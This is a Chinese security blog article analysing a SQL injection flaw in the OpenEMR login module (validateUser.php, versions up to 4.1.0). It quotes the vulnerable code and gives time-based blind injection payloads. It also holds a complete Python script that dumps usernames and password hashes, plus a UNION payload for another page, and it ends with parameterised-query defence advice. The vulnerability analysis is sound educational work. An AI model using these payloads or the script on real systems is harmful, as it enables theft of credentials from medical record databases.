vlambda博客
学习文章列表

OpenEMR登录模块SQL注入分析

 聚焦源代码安全,网罗国内外最新资讯!



OpenEMR登录模块SQL注入分析


OpenEMR简介


OpenEMR 是一种免费和开源的医疗实践管理系统(Electronic Health Records,EHR)是 ONC 认证的完整电子健康记录系统,具有完全集成的电子病历,处方书写、医疗帐单和临床决策等功能。在100多个国家被使用,服务超过2亿病患,被公认为全球最受欢迎开源电子健康记录和医疗实践管理解决方案。

OpenEMR 4.1.0及之前版本内的interface/login/validateUser.php存在SQL注入漏洞,可允许远程攻击者通过u参数执行任意SQL命令,以获取数据库敏感信息或劫持用户会话。



OpenEMR登录模块SQL注入分析


漏洞细节


validateUser.php如下:

<?php$ignoreAuth=true;include_once("../globals.php");include_once("$srcdir/sql.inc");$user = $_GET['u'];$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");$passlength = $authDB['passlength'];$pw = $authDB['password'];if ($passlength == 32){ echo "0";}else if($passlength == 40){ echo "1";}?>


validateUser.phplogin.php jquery 函数进行调用,检查初始登录中用于密码的哈希算法。如果密码的长度为40,则使用 sha1;长度为32,则使用md5。其中:


$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");


内的 '$user' 属于可控的输入部分,可以通过 ' 使注入点闭合。

登录界面 login.php 如图所示:

OpenEMR登录模块SQL注入分析

                                            

login.php 内相关的密码验证代码段如下:

function chk_hash_fn(){ var str = document.forms[0].authUser.value; $.ajax({ url: "validateUser.php?u="+str, context: document.body, success: function(data){ if(data == 0)  { document.forms[0].authPass.value=MD5(document.forms[0].clearPass.value); document.forms[0].authNewPass.value=SHA1(document.forms[0].clearPass.value); } else { document.forms[0].authPass.value=SHA1(document.forms[0].clearPass.value); } document.forms[0].clearPass.value=''; document.login_form.submit(); } });}


openEMR 数据库的 users 表部分内容如下:

id

username

password

1

admin

pass

2

wang

1qaz2wsx

测试 validateUser.php?u=admin 返回1

OpenEMR登录模块SQL注入分析


尝试使用SELECT IF,通过服务器响应时间判定sql语句是否执行,从而试出username 个数。

编写注入语句:

http://localhost/openemr/interface/login/validateUser.php?u=%27%2B(SELECT+if((select%20count(username)%20from%20users)=2,sleep(3),1))%2B%27


OpenEMR登录模块SQL注入分析

如图所示,响应数秒后才生成页面,说明数据库响应了注入的SQL语句,并可判断 username 个数为2。

同理,可通过该方法枚举判断 user,password 长度并根据字符对应数据。



OpenEMR登录模块SQL注入分析


漏洞概念验证PoC


基本 payload:

validateUser.php?u='+(SELECT+if((select count(username) from users)=2,sleep(3),1))+'
validateUser.php?u='+(SELECT+if(length((select+group_concat(username,':',password)+from+users+limit+0,1))=1,sleep(3),1))+'
validateUser.php?u='+(SELECT+if(ascii(substr((select+group_concat(username,':',password)+from+users+limit+0,1),1,1))=1,sleep(3),1))+'


编写 python 脚本以进行时间盲注;另外添加了本地代理以使用 burpsuite 进行监听。


import requestsimport stringimport sys
all = string.printableurl = "http://10.75.154.145/openemr/interface/login/validateUser.php?u="proxy = {"http":"http://127.0.0.1:8082","https":"http://127.0.0.1:8082"}def extract_users_num(): print("[+] Finding number of users...") for n in range(1,100): payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\'' r = requests.get(url+payload,proxies=proxy) if r.elapsed.total_seconds() > 3: user_length = n break print("[+] Found number of users: " + str(user_length)) return user_length
def extract_users(): users = extract_users_num() print("[+] Extracting username and password hash...") output = [] for n in range(1,1000): payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\'' r = requests.get(url+payload,proxies=proxy) if r.elapsed.total_seconds() > 3: length = n break for i in range(1,length+1): for char in all: payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord(char))+',sleep(3),1))%2b\'' r = requests.get(url+payload,proxies=proxy) print(r.request.url) if r.elapsed.total_seconds() > 3: output.append(char) if char == ",": print("") continue print(char, end='', flush=True)
try: extract_users()except KeyboardInterrupt: print("") print("[+] Exiting...") sys.exit()


使用 repeater 模块进行分析,执行语句:

SELECT IF((select count(username) from users)=2,sleep(3),1)


耗时 6027ms,说明 SELECT IF 的结果为 true,数据库响应了请求并进行等待。从而确定了 username 个数为2。

OpenEMR登录模块SQL注入分析


有人可能会提出疑问,明明使用的是 sleep(3),为什么实际上用时为6秒?

这是因为在运行时,

$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");

validateUser.php 会执行嵌套内层select执行一次 sleep(3) 后,外层的 select语句又会执行一次 sleep(3),因此共花费6秒。此处使用 phpMyAdmin 进行验证。

OpenEMR登录模块SQL注入分析


单独执行 SELECT IF 内语句时,查询花费仅为3秒。

OpenEMR登录模块SQL注入分析


脚本部分运行结果:

OpenEMR登录模块SQL注入分析


继续监听,判断出 username,password 的长度为92个字符。

OpenEMR登录模块SQL注入分析


burpsuite 监听到该数据包的 MIME Type 为文本,说明该字符的 ascii 码与数据库内的字符对应,且 “a” 的 ascii 码为97,说明 username,password 中第一个字符为a。

OpenEMR登录模块SQL注入分析


OpenEMR登录模块SQL注入分析


通过 repeater 模块进行复现,回显部分产生延时,说明成功对应到数据库中字符。

OpenEMR登录模块SQL注入分析


OpenEMR登录模块SQL注入分析


最终结果:

OpenEMR登录模块SQL注入分析


成功通过SQL注入获取到数据库中 username,password 内容。

OpenEMR登录模块SQL注入分析


另外,OpenEMR 的 add_edit_issue.php 也有SQL注入漏洞,攻击者可以使用浏览器来利用此漏洞,本文不再展开。

http://www.example.com/interface/patient_file/summary/add_edit_issue.php?issue=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,user(),25,26,27--


OpenEMR登录模块SQL注入分析



OpenEMR登录模块SQL注入分析


预防SQL注入的方法


使用预处理语句(参数化查询),例如:

$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) { header("Location: /blog/"); exit;}$posts = $stmt->fetchAll(\PDO::FETCH_ASSOC);



OpenEMR登录模块SQL注入分析


总结


SQL注入是一种非常常见的攻击手段,服务端没有对客户端的输入信息做过滤,使得信息被带入了数据库查询,从而暴露了数据库内的信息。未部署好防御工作的服务器,可以轻易地让攻击者获取数据库的后台管理员账号和密码,达到进一步渗透的目的,甚至造成整个数据库被"脱库”等。代码注入也长年保持在OWASP漏洞排名前十。因此建议用户使用一定的防御手段以及更加安全的扩展如 MySQLi、PDO MySQL 来防止 SQL 注入攻击。



OpenEMR登录模块SQL注入分析


参考资料


1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2115

2. http://www.securityfocus.com/bid/51247

3. https://www.securityfocus.com/bid/50289

4. https://www.exploit-db.com/exploits/49742

5. http://www.mavitunasecurity.com/sql-injection-vulnerability-in-openemr/

6. https://www.netsparker.com/blog/web-security/sql-injection-vulnerability/

7. https://mp.weixin.qq.com/s/MGefIEp69VxMZ2at8UICJA

8. https://www.freebuf.com/vuls/267017.html




OpenEMR登录模块SQL注入分析






推荐阅读





题图:Pixabay License


本文由奇安信代码卫士编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。



OpenEMR登录模块SQL注入分析

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

    觉得不错,就点个 “在看” 或 "” 吧~